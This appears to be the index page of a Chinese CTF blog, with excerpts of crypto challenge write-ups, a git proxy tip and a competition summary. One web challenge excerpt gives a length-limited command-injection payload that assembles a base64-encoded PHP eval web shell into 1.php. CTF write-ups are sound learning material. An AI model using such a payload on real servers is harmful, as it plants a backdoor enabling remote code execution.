3.1k 3 分钟

# Crypto # crypto1 转字节 MzczZDMyMzg0Yzc4MjQ3NDcyNWMzZTcwMjc0OTRiMjEzMDYzNzAzNTI2NDUyYjY2M2M0MTQ0MzA3YzM3MzQ2MjZmN2Q2NDQxM2YyNDc3NDU2ODIyNGU%3D 去掉末尾 base64 解码 得到 7=28Lx$tr\>p'IK!0cp5&E+f<AD0|74bo}dA?$wEh"N 对照 flag {ISEC-} 发现要么是 + 48 要么 - 48 import...
96 1 分钟

# git clone 连接不上 每次重装虚拟机, git clone 就会显示超时,超时几次都不行 最后使用 git clone https://ghproxy.com/+github 网站地址 快的飞起!! 转自博客
6.8k 6 分钟

# 网鼎杯 # CRYPTO # crypto091 13 位电话提示含国家代码 86 开头 搜到联通是 1709 开头的 爆破后 7 位 import hashlibfrom itertools import producth='c22a563acc2a587afbfaaaa6d67bc6e628872b00bd7e998873881f7c6fdc62fc'a='0123456789'head='861709'for i in product(a,repeat=7): b=''.join(i) t =...
315 1 分钟

# 暑期总结 # 收获 过了一遍密码大方向,把之前漏下的伪随机数和 aes,des 的题目搞懂了,复现了 sm4 加密。参加的几次比赛遇到了很多格密码的题目,就去学了一下几种格密码加密,遇到这几种题型能做出来。 参加的蓝帽杯进了半决,遇到了很多取证的题目,也浅学了一下,主要还是靠工具。 # 成果 # 参与比赛 蓝帽杯、NepNep、DSCTF、CryptoCTF、强网杯、DASCTF2022.07 赋能赛、ctfshow 七夕杯 鹏程杯 # 不足 对于格密码的知识还是不太够,网上的资料也有限,遇到的题目都是格的运用,相关的 paper 还需要好好看看,sage...
12k 11 分钟

# WEB # 签到 位数可控字符 rce echo PD9waHAgZXZhbCgkX0dFVFsxXSk7|base64 -d>1.php >hp>1.p\\>d\>\\>\ -\\>e64\\>bas\\>7\|\\>XSk\\>Fsx\\>dFV\\>kX0\\>bCg\\>XZh\\>AgZ\\>waH\\>PD9\\>o\ \\>ech\\ls -t>0sh 0#...
32k 29 分钟

前言:出了 4 道密码题 (mxx307yyds),还有两道关于格的,,,不太会 等复现吧 # crypto-polydiv # 题目 题目描述 多项式乘法,已知 a(x)*b(x)+c(x)=r(x) , a(x),c(x),r(x) 求 `b (x) 可以直接在 sage 上跑 # exp from pwn import *import stringimport hashlibtable = string.ascii_letters + string.digitsre =...
21k 19 分钟

# babysign # 题目 import hashlibimport ecdsafrom Crypto.Util.number import *import randomimport osflag = b"xxx"assert flag.startswith(b'DASCTF{') and flag.endswith(b'}')assert len(flag) == 40def init(): """ initiation """ global...
2.4k 2 分钟

# 反馈移位寄存器 在 GF (2) 上的一个 n 级 FSR 通常由 n 个二元存储器和一个反馈函数组成 当反馈函数是线性的我们则将其称为 LFSR 反馈函数可表示为 f(a1,a2,……,an−1,an)=cna1⊕cn−1a2⊕……c1anf(a_1,a_2,……,a_{n-1},a_n)=c_na_1⊕c_{n-1}a_2⊕……c_1a_n f(a1​,a2​,……,an−1​,an​)=cn​a1​⊕cn−1​a2​⊕……c1​an​ # 举个栗子 给定一个 5 级的...
30k 28 分钟

# Klamkin # 题目 ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||| Hello, now we are finding the integer solution of two divisibility || relation. In each stage send the requested solution. Have fun :) ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||...
30k 27 分钟

# sigin # 题目 from Crypto.Util.number import *from gmpy2 import *from FLAG import flagdef gen_key(): (p,q,n,e,d) = (0 for _ in range(5)) p = getStrongPrime(1024) q = next_prime(p)# q = p + 1# while(True):# q += 2 if q & 1 else 1# if is_prime(q, 30):# break n = p*q e = 0x10001 d = invert(e,...